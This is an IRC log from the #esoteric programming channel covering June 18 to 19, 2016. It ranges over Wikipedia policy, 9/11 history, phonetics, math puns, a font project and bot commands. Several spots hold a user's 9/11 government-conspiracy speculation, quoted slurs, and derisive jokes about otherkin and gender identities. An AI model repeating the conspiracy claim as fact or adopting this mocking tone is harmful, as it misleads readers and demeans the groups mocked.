say "This card cannot die even if a card says it can". This does not prevent it from being exiled, phased out, returned to owner's hand, shuffled into owner's library, anted, countered, discarded, turned face-down, etc.... 07:14:48 Wow, the wikipedia article https://en.wikipedia.org/wiki/African_Americans doesn't have any images there specifically to get across how blacks look, and there are no color images until the 5th n-section or so 07:15:42 (It also says "destroy target player"; of course only permanents can be destroyed, not players.) 07:21:28 <\oren\> welcome to the twilight zone... 07:23:08 <\oren\> well, one solution is to read Wikipedia in a non-english language 07:27:51 I just pasted a rant on https://en.wikipedia.org/wiki/Talk:African_Americans. Now for the hate. 07:28:20 \oren\: Pffft. Non-english wikipedias are an April Fool's joke, aren't they? 07:28:22 Right? 07:29:16 No it is not only for April, I think? 07:30:42 <\oren\> solution: look at https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%AB%E3%83%90%E3%83%8B%E3%82%A2%E4%BA%BA 07:30:55 \oren\: Oh, huh, https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Images#NOETHNICGALLERIES 07:31:11 <\oren\> Yeah and it seems to be for stupid reasons 07:31:22 <\oren\> https://ja.wikipedia.org/wiki/アルバニア人 07:31:55 <\oren\> Thank god for the Japanese and their resistance to political correctness 07:32:59 \oren\: I think I'll go establish Political Dontgiveafuckness 07:42:39 hppavilion[1]: That's not very political. 07:43:37 Al Qaeda referred to 9/11 by the codename "The Big Wedding", because they are the biggest assholes on the face of the earth 07:52:08 Wow, the FAA didn't start grounding planes (well, it didn't order to ground ALL planes) until after the 3 successful attacks 07:52:10 Good job, FAA 07:52:19 I thought ISIS is the biggest assholes 07:52:38 FreeFull: Eh, they're probably deeply connected to Al Qaeda 07:52:56 Didn't Al Qaeda denounce them? 07:53:46 "In February 2014, after a prolonged dispute with al-Qaeda in Iraq's successor organisation, the Islamic State of Iraq and the Levant (ISIS), al-Qaeda publicly announced it was cutting all ties with the group, reportedly for its brutality and "notorious intractability"." 07:55:05 "Mohammed said al-Qaeda initially planned to target nuclear installations rather than the World Trade Center and the Pentagon, but decided against it, fearing things could "get out of control".[" 07:55:13 FreeFull: Oh, wow 07:55:59 ISIS is too extreme even for the extremists 07:57:01 I am not surprised of that. 07:58:38 I think someone is hiding something about the attacks on World Trade Center, but I don't know what, exactly. Maybe the US government somehow convinced them to attack World Trade Center instead of nuclear installations, for reasons of hidden motives...? 07:58:49 "New York City 911 operators who received calls from individuals inside the tower were not well informed of the situation as it rapidly unfolded and as a result, told callers not to descend the tower on their own." 07:59:28 zzo38: Aaaaaand now you're a conspiracy theorist. Your complimentary tinfoil hat will be delivered in 9-11 business days. 08:03:54 I think a tinfoil hat is not of much help; wire mesh is probably more effective, but you might need a lot more than that 08:04:27 <\oren\> So I went downstairs to look in my Britannica 08:05:47 <\oren\> Yeah, they had pictures. 08:09:57 <\oren\> It's a pity the web version of the Britannica is so stupid 08:18:00 zzo38: Pffft. REAL conspiracy theorists wear faraday cages 08:18:49 <\oren\> My aunt wore tinfoil liner under her jacket and hat for a while 08:19:43 Hm, I wonder if I could make a stylish tinfoil hat 08:19:58 <\oren\> she thought her pastor was using a microwave to mind control people or something 08:19:59 Do young conspiracy theorists in schools get to wear their tinfoil hats? 08:20:11 <\oren\> probably 08:20:25 (for those living abroad, in US schools students are banned from wearing hats because gang members also wear hats) 08:27:00 ...Huh 08:27:12 How do they ship devices used for automatically paying tolls? 08:31:04 <\oren\> presumably the device can be activated on delivery 08:31:32 "The NAACP denounces the use of both nigga and nigger." 08:31:41 \oren\: Yeah, but apparently they just put them in lead-lined bags 08:31:55 Their denouncement includes when used by black people 08:32:44 Because, of course, the NAACP has the authority to prescribe the culture and language that should be used by black people, and all black people are the same of course so anything sweeping like that is OK 08:33:25 NAACP should probably be renamed to the NAARC (National African American Regulation Center) or something like that 08:33:27 <\oren\> whatver... I'm coming to the conclusion that the entire anglosphere is probably doomed 08:36:54 \oren\: Anglosphere is a nice word 08:37:13 Why are all communities/networks of communities "spheres"? 08:37:37 I mean, wouldn't a great word for the community of minecraft players be "the Mineocube"? 08:46:37 <\oren\> マイノキュブはいいね 08:50:14 \oren\: What if neoletters used actual pictures for emoji? xD 08:52:21 * hppavilion[1] is tempted to incorporate the AAVE habitual/continuative aspect (e.g. "he be working Tuesdays") into his own grammar 08:53:00 <\oren\> I won't be doing much Emoji until the CJKwidth corrections in 9.0 are finalized 08:54:17 <\oren\> I do intend to draw them freehand from photos however, much like the flower tiles in the Mahjong block 08:55:08 <\oren\> `unicode 🀢🀣🀤🀥 08:55:24 \oren\: Ah, I was hoping you would just google the name and choose the first non-already-emoji image in the list that isn't copyright-protected xP 08:55:37 U+1F022 MAHJONG TILE PLUM \ UTF-8: f0 9f 80 a2 UTF-16BE: d83cdc22 Decimal: 🀢 \ 🀢 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) \ \ U+1F023 MAHJONG TILE ORCHID \ UTF-8: f0 9f 80 a3 UTF-16BE: d83cdc23 Decimal: 🀣 \ 🀣 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals) \ \ U+1F024 MAHJONG TILE BAMBOO \ UT 08:55:55 -!- xkapastel has quit (Quit: Connection closed for inactivity). 08:55:59 <\oren\> nah, that would not work, because I intend to keep neoletters a monochrome font 08:58:26 Oh 08:59:39 <\oren\> Color emojis probably would not react well with terminal colors 09:06:42 -!- hwpplayer1 has joined. 09:10:26 -!- AnotherTest has joined. 09:14:15 Hm... has anybody made an emoji-based shell yet? 09:16:17 There are no unvoiced vowels, are there... 09:17:35 Hm, and there's no voiced equivalent of 'h' (like 'b' is the voiced 'p' and 'd' is the voiced 't') 09:18:06 Probably because voicing 'h' makes you sound retarded (in the actual, clinical sense; not in an offensive, colloquial sense) 09:24:33 <\oren\> there is a voiced h 09:25:10 Is there? 09:26:12 there is an emoji based esolang 09:26:36 <\oren\> represented by the ɣ 09:26:55 <\oren\> voiced velar fricative 09:31:17 <\oren\> apparently ɦ is a voiced glottal fricative 09:32:35 A fricative is very different from h. 09:33:15 <\oren\> is it? 09:33:49 <\oren\> I thought h is a glottal fricative 09:35:43 I was talking about the English letter h. 09:36:21 -!- oerjan has joined. 09:37:51 Hmm, maybe I'm wrong. 09:38:14 -!- hwpplayer1 has quit (Quit: Leaving.). 09:38:45 I guess I misunderstood what a fricative is? 09:39:03 <\oren\> in dialects that bother to actually prnounce the letter h, it's definitely some kind of hssing sound 09:39:22 <\oren\> from the back of the throat 09:40:16 "In some languages, it has the constricted manner of articulation of a fricative. However, in many if not most it is a transitional state of the glottis, with no manner of articulation other than its phonation type. Because there is no other constriction to produce friction in the vocal tract in the languages they are familiar with, many phoneticians[who?] no longer consider [h] to be a ... 09:40:22 ... fricative. However, the term "fricative" is generally retained for historical reasons." 09:40:51 fizzie: i feel vindicated tdh 09:42:10 We have spelling bees, but not pronouncing bees 09:43:55 fizzie: Really? Using inaccurate, meaningfully-descriptive scientific terms for "historical reasons"!? 09:44:08 That's like... an analogy of some sort! 09:44:15 In 'ertford, 'ereford, and 'ampshire, 'urricanes 'ardly hever 'appen 09:44:54 I don't know, if we found out electrons had a positive charge (because physics) but we kept writing them as e^- for historical reasons 09:45:39 shachaf: I thought it was just "'amp" and the "shire" was added by Americans thinking all of England is a shire? 09:46:14 ("Devonshire") 09:46:22 See http://urbanlegends.about.com/library/blrevocation_cleese.htm 10:10:06 `? weapons 10:10:53 weapons? ¯\(°​_o)/¯ 10:11:03 `cat share/weapons 10:11:05 cat: share/weapons: No such file or directory 10:11:09 `cat shr/weapons 10:11:10 cat: shr/weapons: No such file or directory 10:11:13 `ls 10:11:15 ​!\.´ \ advice \ bin \ canary \ cdescs \ emoticons \ esobible \ etc \ evil \ factor \ good \ hw \ ibin \ interps \ karma \ le \ lib \ misle \ paste \ ply-3.8 \ ps \ quine \ quines \ quotes \ share \ src \ theorems \ tmflry \ tmp \ wisdom \ wisdom.pdf 10:11:26 `ls share 10:11:27 8ballreplies \ autowelcome_status \ awesome \ cat \ Complaints.mp3 \ conscripts \ construct_grams.pl \ delvs-master \ dict-words \ esolangs.txt \ esolangs.txt.sorted \ hello \ lua \ maimer \ maimery \ maze \ mtg \ nothp \ radio.php?out=inline&shuffle=1&limit=1&filter=*MitamineLab* \ recipe \ scapegoats \ sedtest \ UnicodeData.txt \ units.dat \ user 10:11:30 `ls tmp 10:11:31 fruit \ spline \ spout \ tempcmd \ testcmd \ tmp_jonas 10:11:55 `ls etc 10:11:56 luarocks 10:12:31 `` grep -h 10:12:37 Usage: grep [OPTION]... PATTERN [FILE]... \ Try 'grep --help' for more information. 10:12:41 Wait, I should probably search for help locally 10:22:01 https://www.youtube.com/watch?v=nDGKK6y8OtQ 10:36:39 [wiki] [[Talk:Folder]] https://esolangs.org/w/index.php?diff=47229&oldid=44368 * Rdococ * (+282) /* Computational class up for debate */ 10:52:44 God I love https://pbs.twimg.com/media/CCMQCSDW8AAGN61.png:large 10:57:37 http://i.imgur.com/AbtBGxo.jpg: Coder learned to succeed despite racism 10:57:46 Specifically, he was racist against those from Java 11:02:02 "Good on him. Race conditions are hella hard to debug." 11:08:01 Oh my god 11:08:05 @tell b_jonas oerjan, why does ? not find that entry? <-- because it auto-lowercases. 11:08:05 Consider it noted. 11:08:15 The other day, I saw "womyn" in the comment section of a YouTube video, used sarcastically 11:08:34 `cat wisdom/XQELEKCTHZVBDBQR 11:08:44 oh wait 11:08:47 I assumed it was just taking rhetoric and obsession with orthography and inclusivity to the extreme 11:08:50 It was not 11:08:53 It's a real thing 11:08:54 `cat wisdom/XQELEKCTHZVBDBQR 11:08:54 cat: wisdom/XQELEKCTHZVBDBQR : No such file or directory 11:08:55 Who told you this? 11:09:02 oh right. 11:15:21 oerjan: Oh, a space. 11:15:34 `? group 11:15:43 groups are just loops with the property of associativity 11:16:07 `sled wisdom/group//s/./G/;s/$/./ 11:16:16 `culprits wisdom/group 11:16:45 `echo wisdom/XQEL* 11:16:51 `run echo wisdom/XQEL* 11:17:10 Remember when we didn't have sled and everything was sed -i? 11:17:15 please don't add more commands when HackEgo is already molasses 11:17:22 wisdom/XQELEKCTHZVBDBQR 11:17:24 'molasses 11:17:32 'makemeasandwich 11:17:42 shachaf: how did we survive! 11:17:52 int-e ais523 shachaf elliott Taneb 11:17:55 oh i forgot the command i added 11:17:56 Are you talking to me? 11:17:58 wisdom/XQEL* 11:18:02 wisdom/group//Groups are just loops with the property of associativity. 11:18:36 `? banana 11:18:42 Bananananananana BATMAN! 11:19:19 the weird thing is that the wiki is nowhere near that slow, despite being on the same server 11:20:23 Cale: This category theory book is very poorly edited. 11:20:28 Every section has a retraction. 11:20:48 Which book? 11:20:54 * oerjan leaps onto shachaf with the vengeance of a thousand swats ------### 11:21:06 also an extra - it seems 11:21:15 ask oerjan hth 11:21:39 i think i'll pullback from this discussion. 11:21:57 That's a pretty good pun. 11:22:14 I should twit it or something. Wherever people put their puns these days. 11:22:31 `sudo 11:22:33 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sudo: not found 11:26:25 -!- Phantom_Hoover has joined. 11:33:11 <\oren\> well I assume the wiki doesn't boot Linux with every request 11:37:23 <\oren\> (this might be a wrong assumption) 11:38:30 I'm trying to come up with a parody otherkin that's crazy enough to be obvious to everybody else, but not enough to tip off the actual otherkin 11:38:53 I honestly can't think of anything crazier than what Otherkin already have, something that would be obvious it was fictional. 11:39:13 Other than just a really long list of combinations, which would be obvious to everybody 11:39:25 Or, I don't know, wikipedia-kin? 11:40:30 <\oren\> Nac mac feeglekin 11:41:30 <\oren\> (assuming you've read your Terry Pratchett) 11:44:27 Isn't it great when you come up with a clever email address and it isn't taken? 11:47:25 <\oren\> my email address is just my.name@gmail.com 11:47:48 <\oren\> wait, I'm already using my name here 11:47:56 <\oren\> oren.watson@gmail.com 11:48:14 \oren\: Does the Blue Man Group count? 11:48:37 <\oren\> omg hahaha I didn't make that connection... 11:48:49 <\oren\> perhaps they do. 11:50:32 Probably not, since they don't pretend to be scottish 11:51:00 <\oren\> right. and they don't have swords that glow to warn of approaching lawyers 11:52:38 `? associativity 11:52:57 h(th) = (ht)h 11:53:26 `learn Associativity is when h(th) = (ht)h, hth 11:53:35 Relearned 'associativity': Associativity is when h(th) = (ht)h, hth 11:54:41 `learn Associativity is when h(th) = (ht)h. 11:54:49 Relearned 'associativity': Associativity is when h(th) = (ht)h. 11:55:40 exercise: think of an operation that fulfils that but not if you distinguish the first and last h 11:56:41 do the octonions work 11:56:56 i don't remember. 11:57:37 hm no that has the equals as neighbots 11:57:39 *r 11:59:08 oh it _is_ true. 11:59:38 https://en.wikipedia.org/wiki/Flexible_algebra 11:59:52 Phantom_Hoover: and for sedenions too 12:00:54 `learn Associativity means that h(th) = (ht)h, if you're flexible about it. 12:01:00 Relearned 'associativity': Associativity means that h(th) = (ht)h, if you're flexible about it. 12:03:57 I had to look up what a retraction is to get shachaf's joke, and found a great article: https://en.wikipedia.org/wiki/Retracted_article_on_dopaminergic_neurotoxicity_of_MDMA 12:05:17 (I only knew that word as category theory jargon, embarrassingly...) 12:11:10 https://robjo.wordpress.com/2014/02/01/spotting-fake-otherkin-part-1-intro-and-angelkin/ is the most absurd thing I have ever seen 12:11:31 It's talking about people who ~"Want to be otherkin so badly they start to believe it's true" 12:11:42 "it let’s them feel special (without having actually earned that specialness)" 12:12:09 (You know, because otherkin actually have earned specialness by being reincarnated. Obvi.) 12:15:01 Ooor, has anybody applied Tumblr Genders and Tumblr Sexuality to religion? 12:16:04 "I'm an Akoitheist; I only believe in gods that don't think I exist because they thought they deleted the universe ages ago" 12:21:18 * oerjan recalls reading a comic book that started with the gods doing that. fortunately they missed a part. 12:23:20 so meanwhile this is perfectly hilarious http://www.wired.com/2016/06/50-million-hack-just-showed-dao-human/ 12:27:07 [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47230&oldid=42463 * IAM * (+145) /* Is this a Turing tarpit? */ 12:28:26 "While Russia has more physicians, hospitals, and health care workers than almost any other country in the world on a per capita basis,[308] since the dissolution of the Soviet Union the health of the Russian population has declined considerably as a result of social, economic, and lifestyle changes;[309] the trend has been reversed only in the recent years, with average life expectancy having increased 5.2 years for males and 3.1 years 12:28:26 for females between 2006 and 2014." 12:28:42 In Soviet Russia... 12:29:06 they had rather good health care. 12:34:23 [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47231&oldid=47230 * IAM * (+315) /* Funciton Tools */ new section 12:35:27 where does that akoitheism come from 12:35:38 [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47232&oldid=47231 * IAM * (+122) /* Conditional returning lambda */ 12:37:08 [wiki] [[Talk:Funciton]] https://esolangs.org/w/index.php?diff=47233&oldid=47232 * IAM * (+68) /* Funciton Tools */ 12:37:15 -!- Akaibu has quit (Quit: Connection closed for inactivity). 12:38:45 <\oren\> I hate how atmospheric drag doesn't affect any craft unless they're focused 12:45:07 <\oren\> hmm I have an idea for a space strategy game 12:48:20 \oren\: Will it allow traveling to other stars and, if so, will it properly reflect the several-hundred-year travel time? 12:49:34 <\oren\> hppavilion[1]: you control your spacecraft by sending programs to them, and the game server (which runs at all times) would simulate their carrying out your sent instructions 12:50:06 \oren\: Ah 12:50:15 <\oren\> It would have a very accurate physics engine, but the interface is just a website! 12:50:41 \oren\: Will it account for speed-of-light delay and require that you account for red/blueshifting in your spacecrafts' OSes? 12:50:55 <\oren\> of course 12:51:45 \oren\: Will you have to respect international treaties? 12:52:46 <\oren\> not if you don't want to! 12:54:24 <\oren\> You simply build spacecraft on your homeworld and program them. Communication, alliances, treaties, etc would be outside the game itself 12:55:59 <\oren\> although perhaps the in-game message system would be included 12:56:12 <\oren\> with light-speed delay, of course 12:57:31 Hm, why isn't there a planet mnemonic including Pluto 12:57:37 And all the other dwarf planets 13:32:15 `? programmer's google 13:32:23 programmer's google? ¯\(°​_o)/¯ 13:32:36 `le/rn programmer's google/A programmer's google is equal to 10^100, or 110 13:32:42 Learned «programmer's google» 13:37:01 -!- boily has joined. 13:37:03 @metar CYQB 13:37:03 CYQB 181200Z 00000KT 30SM FEW200 16/07 A3020 RMK CI1 HAZY SLP230 13:50:31 rimaykuboillayki 13:50:55 oerjan: Is that the most impressive porthello ever? 13:51:05 i dunno? 13:52:15 oerjan: Ok? 13:52:16 goerjaniemôre! 13:52:30 I need to learn more languages to improve my porthelloing 13:52:34 that is one nice porthelllo! 13:52:48 Hm, how would we porthello if we all spoke some chinese language? 13:52:53 hppavellonmatin[1]! 13:53:24 martin? 13:53:26 Oh, matin 13:54:27 fun fact: the upcoming disney movie moana will be called oceania in italy, and she'll be called vaiana 13:54:43 because moana is the name of a famous italian pornstar 13:55:27 buongizaberano! 13:55:36 :P helloily 13:57:07 hppavilion[1]: non-latin scripthellos is a horror i have not yet fully contemplated. 13:58:20 izabera: moana lisa? 14:00:10 moana pozzi 14:03:33 oerjan: I think they fall under "Eldritch Typography" 14:05:30 Hm, just to make the world a weirder, more unnecessarily-confusing place, I'm going to tell anyone who asks that my preferred pronouns are feminine (except for the collective third person; any group including me should be referred to as "he"), but that I'm a cis male 14:07:21 what about not increasing the madness further 14:08:18 oerjan: Bah! This is #esoteric! 14:08:24 oerjan: that suggestion is inappropriate here 14:08:25 in any case, i refer the right to use gender-neutral pronouns for anyone being obnoxious. 14:08:49 hppavilion[1]: you said the world, not #esoteric. 14:09:05 oerjan: Yes, but #esoteric's goal is to conquer the outside world, is it not? 14:09:29 And become The Council of the 102(+-5 or so, 0 ops) 14:12:45 well we cannot conquer the world it it self-destructs first tdnh 14:13:59 Oooh, I can even include pronouns that are the same in english, but not in other languages 14:15:19 afk 14:15:41 Oooh, I can insist that people address me as "tu" 14:16:26 Wait, no, "vous" 14:16:46 Though "tu" is how you address God, so... 14:20:31 -!- Sgeo has quit (Ping timeout: 240 seconds). 14:35:12 hppavilion[1]: "vous" is a little bit too impersonal jqça 15:06:03 -!- iconmaster has joined. 15:09:50 -!- iconmaster has quit (Client Quit). 15:40:05 -!- boily has quit (Quit: DATE CHICKEN). 15:43:52 -!- augur has joined. 15:47:42 The World Trade Center: Making everyone experts on structural engineering since 2001 15:50:57 -!- augur has quit (Read error: Connection reset by peer). 15:51:37 -!- augur has joined. 16:11:54 Ultimate conspiracy: 9/11 was an attack by French aliens, and the Faroese government covered it up 16:13:04 impossible, as the theory would require france to independently achieve a military objective 16:17:06 Napoleon did well, until Russia 16:23:13 -!- moon_ has joined. 16:23:40 FreeFull, napoleon was italian! 16:24:34 Phantom_Hoover: Corsica belongs to France 16:24:46 Although he was Italian nobility 16:25:15 it was italian up until right before he was born 16:25:56 <\oren\> Wikipedia has ceased showing a set of pictures of people in articles about ethnic groups... <-- huh indeed. https://en.wikipedia.org/wiki/Wikipedia_talk:Manual_of_Style/Images/Archive_6 16:26:33 technically italy was not a state until decades after he died hth 16:27:20 s/italian/genoese/ 16:27:42 -!- moon_ has quit (Ping timeout: 246 seconds). 16:39:56 -!- augur has quit (Remote host closed the connection). 16:52:09 The russian government will provide its citizens with all needs from A to backwards 'R' 16:53:12 yayaya 16:53:34 int-e: Are there any unvoiced vowels? 16:53:38 `unidecode Я 16:53:47 I just happen to know how that one is pronounced. 16:53:53 ​[U+042F CYRILLIC CAPITAL LETTER YA] 16:54:21 `unidecode ♥ 16:54:24 ​[U+2665 BLACK HEART SUIT] 16:54:51 and... did you get lucky or did you actually know that this is the last letter in the standard sequence of the cyrillic alphabet? 16:54:53 int-e: But how is ♥ pronounced? 16:55:08 int-e: I actually knew it 16:55:13 `? Я 16:55:14 ​Я? ¯\(°​_o)/¯ 16:56:21 `learn Я is the 8th letter of the hsilgnE alphabet 16:56:26 Learned 'Я': Я is the 8th letter of the hsilgnE alphabet 16:57:52 hppavilion[1]: as for unvoiced vowels I'd cite this example by Morgenstern: http://www.payer.de/exegese/exegese08c11.gif 16:58:18 int-e: ...huh? 16:58:31 Is that some sort of sound diagram below the IPA? 16:59:00 looks fishy. 16:59:21 It's a poem; the title translates approximately as "fish lullaby", http://www.ablemuse.com/erato/showthread.php?t=19015 has some discussion on it. 17:01:58 hppavilion[1]: and now I'd like to challenge you to come up with a more serious answer to your voiceless vowel question. 17:03:36 (the comments point out that this might not be a lullaby but to my mind there never was any doubt about it) 17:15:07 http://english.stackexchange.com/questions/189567/is-there-such-a-thing-as-an-unvoiced-vowel 17:17:17 * int-e whistles 17:18:38 (another voiceless activity) 17:24:30 hppavilion[1], well obviously, how else could you whisper 17:24:56 (whispering is also a good way to notice aspirated vs. unaspirated 'p') 17:25:37 pffft 17:26:10 -!- dnm has quit (Ping timeout: 252 seconds). 17:28:02 Huh, babies saying "mama" isn't actually addressing their mother; mothers just interpret it as meaning themselves because that's one of the first consistent noises a baby makes 17:28:13 There are no unvoiced vowels, are there... <-- iirc japanese vowels are unvoiced in some positions. 17:28:28 oerjan: Yes, I found it 17:28:56 oh i was responding to logs. 17:31:45 oerjan: If the logs are talking to you, you need to stop drinking. Also, don't lumberjack while drunk. 17:33:20 how do you pronounce an unvoiced vowel? 17:36:05 whisper something with vowels in it 17:36:39 -!- hppavilion[1] has quit (Ping timeout: 250 seconds). 17:37:33 it sounds weird in a non-whispered word 17:44:18 -!- oerjan has quit (Quit: Later). 17:45:22 -!- xkapastel has joined. 17:49:34 -!- spockers_ has joined. 17:52:31 -!- spockers has quit (Ping timeout: 240 seconds). 18:12:00 -!- idris-bot has quit (Ping timeout: 246 seconds). 18:13:33 -!- Melvar has quit (Ping timeout: 240 seconds). 18:16:10 -!- Melvar has joined. 18:28:05 -!- Kaynato has joined. 18:29:12 -!- hwpplayer1 has joined. 18:48:36 -!- hwpplayer1 has quit (Quit: Leaving.). 18:59:19 -!- boily has joined. 19:00:39 -!- boily has set topic: The intradisciplinary hub of solidity matrices, esoteric programming language design, multichannel bot abuse, and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf. 19:01:05 fungot: whip me, bite me, markov chain me to the wall. 19:01:06 boily: state killing: is equal to the square root of the natural logarithm of something. " you don't always know the entire problem description and figure out what to do with 19:01:10 lynn: TG 19:01:21 lynn: Is it category theory jargon or is it topology jargon or something? 19:01:24 hellochaf, hellynn. 19:10:57 -!- hwpplayer1 has joined. 19:13:38 `relcome hwpplayer1 19:13:53 ​hwpplayer1: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on EFnet or DALnet.) 19:14:07 boily : Hi , how are you ? 19:15:15 are you interested in only using a language or creating a new one ? 19:15:50 mostly creating, in fact 19:16:18 even though i thought about using efghij 19:20:35 hwpplayer1: I created a few. Aubergine is my best and purplest language. 19:21:12 how purple is it 19:22:32 quite. 19:24:09 It will not be necessary adding spaces on both side of all punctuation mark for English writing. 19:24:17 is it more purple than purple? 19:27:00 i should ask something , does esoteric mean that the language is not useful or it means a few people use that language and it is marginal for now 19:27:45 it doesn't have to be either 19:29:44 myname: purple is purpler hth 19:51:59 In my dream, there was a conference about cartesian closed categories called "IOCCC". 19:53:25 was it obfuscated? 19:55:13 hwpplayer1: Not necessarily either; read the esolang wiki is probably better way to learn what it means. 20:01:49 -!- idris-bot has joined. 20:03:22 -!- hwpplayer1 has quit (Ping timeout: 250 seconds). 20:04:50 -!- hwpplayer1 has joined. 20:11:41 shachaf: n-th annual symposium of the International Organisation of Cartesian Closed Categories? 20:12:13 * int-e was unsuccessful in finding a synonym for "conference" or "meeting" that starts with an "o". 20:13:00 Maybe it's an organization. Doesn't quite work. 20:13:37 int-e: did you spiderjam 20:14:32 I don't know what the question is 20:17:23 Did you play _Spider and Web_? 20:17:40 fwiw, google finds guitar amplifiers. 20:17:59 but no, I have not continued that game 20:20:28 Some systems using MC6845 for video will use clock interleaving for memory access, but PC uses a priority system instead. 20:21:03 shachaf: it's not forgotten, just waiting in a subdirectory with other games I mean to play 20:25:55 -!- xkapastel has quit (Quit: Connection closed for inactivity). 20:26:21 dat unibroue blanche de chambly 20:28:01 -!- spiette has joined. 20:37:08 -!- moon_ has joined. 20:37:13 hi 20:39:10 Hi. 20:42:19 -!- lamer14662786993 has joined. 20:43:47 -!- lamer14662786993 has changed nick to moonythedwarf. 20:43:54 -!- moon_ has quit (Ping timeout: 246 seconds). 20:44:13 -!- moonythedwarf has changed nick to moon_. 20:57:31 <\oren\> how many languages are there where "mama" means mother? 20:58:48 -!- augur has joined. 20:59:12 <\oren\> I know of at least English, Latin, and Mandarin. 20:59:33 Probably a great Number. 20:59:51 * APic spoke „Haha“ before them first, so i was told. 21:00:30 german 21:02:29 https://en.wiktionary.org/wiki/mama lists 30. 21:03:10 That is, 30 languages that have the word. Didn't check the meanings. 21:05:20 Eyeballing a bit, "mother" seems like the most common meaning, but there are some others as well (grandmother, breast, father, ...) 21:09:08 -!- augur has quit (Ping timeout: 244 seconds). 21:09:36 -!- gamemanj has joined. 21:09:50 fizzie: But that's only languages that use that alphabet, right? 21:16:33 -!- augur has joined. 21:18:58 -!- Frooxius has joined. 21:22:39 I've decided to write a esoteric operating system just for fun 21:23:07 ill post the document on it once im done 21:24:07 -!- moon_ has quit (Quit: jIRCii - http://www.oldschoolirc.com). 21:26:50 -!- augur has quit (Ping timeout: 260 seconds). 21:33:25 -!- moon_ has joined. 21:33:25 -!- Phantom__Hoover has joined. 21:33:33 did anyone answer what i said? my internet died 21:35:01 Did you ask a question? 21:36:40 also, clog is here, so the tunes logs are working 21:37:18 -!- Phantom_Hoover has quit (Ping timeout: 276 seconds). 21:37:35 -!- LexiciScriptor has joined. 21:37:39 -!- SupayrPoney has left. 21:39:57 Nah, i just stated im making a esoteric operating system zzo38 21:40:15 and that once im done on the ideas ill put them here 21:49:00 -!- Lord_of_Life has quit (Ping timeout: 260 seconds). 21:49:26 OK 21:55:12 -!- Lord_of_Life has joined. 21:58:12 -!- gamemanj has quit (Ping timeout: 250 seconds). 22:05:44 -!- Lord_of_Life has quit (Ping timeout: 250 seconds). 22:24:22 -!- Lord_of_Life has joined. 22:25:59 -!- spiette has quit (Quit: :qa!). 22:32:12 -!- LexiciScriptor has quit (Quit: LexiciScriptor). 22:38:55 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 22:45:42 -!- Lord_of_Life has joined. 22:45:57 <\oren\> Hmm, I'm working on CAS but it's going slowly 22:50:48 -!- Lord_of_Life has quit (Ping timeout: 250 seconds). 22:54:12 -!- Lord_of_Life has joined. 22:59:49 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 23:02:21 CAS? 23:02:25 whats that \oren\ 23:08:34 -!- Lord_of_Life has quit (Ping timeout: 250 seconds). 23:11:31 Computer Algebra System, I'd guess 23:11:31 <\oren\> Canadian Aboriginal Syllabics. I'm adding them to my font 23:11:36 oh 23:15:42 -!- Lord_of_Life has joined. 23:19:50 quintopia: QUINTHELLOPIA! what the how are you inibrouing? 23:19:59 he\\oren\! still working on your font? 23:23:10 hey, you even added mahjong! 幸せ!フワフワ!万歳!plein d'affaires de même! 23:23:19 Taneb, did you shave your eyebrows and play jojen in game of thrones 23:23:24 -!- Phantom__Hoover has changed nick to Phantom_Hoover. 23:24:51 `? taneb 23:26:26 Taneb is not elliott, no matter who you ask. He also isn't a rabbi although he has pretended in the past. He has at least two backup keyboards with dodgy SHIFT KEys, cube root of eight genders, and voluminous but calm eyebrows. (See also: tanebventions) 23:27:11 `` sed -i 's/voluminous/above average, not too voluminous, /' wisdom/taneb 23:27:18 No output. 23:27:51 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 23:36:04 helloily 23:36:17 krog st tapped a unibroue 23:36:22 <\oren\> boily: yes I added mahjong 23:36:30 <\oren\> and Cherokee 23:36:41 my favorite beer is unibroue's twrrible 23:36:48 im at a beer fest 23:36:55 with a cover band 23:37:18 playing all the white people hits 23:37:43 <\oren\> ᑥ looks like a really sad face 23:42:08 -!- hwpplayer1 has left. 23:43:12 -!- Lord_of_Life has joined. 23:43:43 -!- lamer14662894610 has joined. 23:43:48 boily boily boily 23:43:58 quintopia quintopia quintopia 23:44:16 oh good 23:44:50 you have to respond because im drunk on beer and otherwise ill assume you hate me 23:45:07 -!- moon_ has quit (Ping timeout: 252 seconds). 23:46:06 you are quintopia, enjoying bière du québec! c'est ce qu'il faut! 23:46:39 -!- Sprocklem has quit (Ping timeout: 264 seconds). 23:46:42 i dont french much 23:48:09 translation: tu es quintopia, en train d'apprécier beer from quebec! that's how it should be! 23:50:01 do you enjoy beer from ga? 23:50:13 -!- Lord_of_Life has quit (Read error: Connection reset by peer). 23:55:24 helloren 23:59:33 I haven't gabeered yet. 23:59:45 time to disappear to farfaraway lands... 23:59:56 -!- boily has quit (Quit: THAT CHICKEN). 2016-06-19: 00:03:12 -!- Lord_of_Life has joined. 00:05:18 -!- MoALTz has quit (Quit: Leaving). 00:16:11 -!- Lord_of_Life has quit (Quit: EliteBNC free bnc service - http://elitebnc.org - be a part of the Elite!). 00:24:45 -!- sebbu has quit (Ping timeout: 260 seconds). 00:30:34 -!- sebbu has joined. 00:50:14 im reading ethereum drama and seeing them describe javascript as 'low-level' 00:50:27 i think basically JS just distorts reality away from all that is sane and good 00:51:03 I am not sure why they describe JavaScript as "low-level". 00:53:12 There are a few problems with JavaScript such as automatic-semicolon-insertion, but mostly it is OK I think. But some things are better programmed in other programming languages such as C or assembly language. 00:55:14 (A few of the other problems would be that it lacks macros and goto) 00:55:31 -!- lamer14662894610 has changed nick to moonythedwarf. 00:56:45 im starting to like lde 00:56:48 *lxde 00:57:08 Phantom_Hoover: Javascript, low level? 00:57:13 What madness. 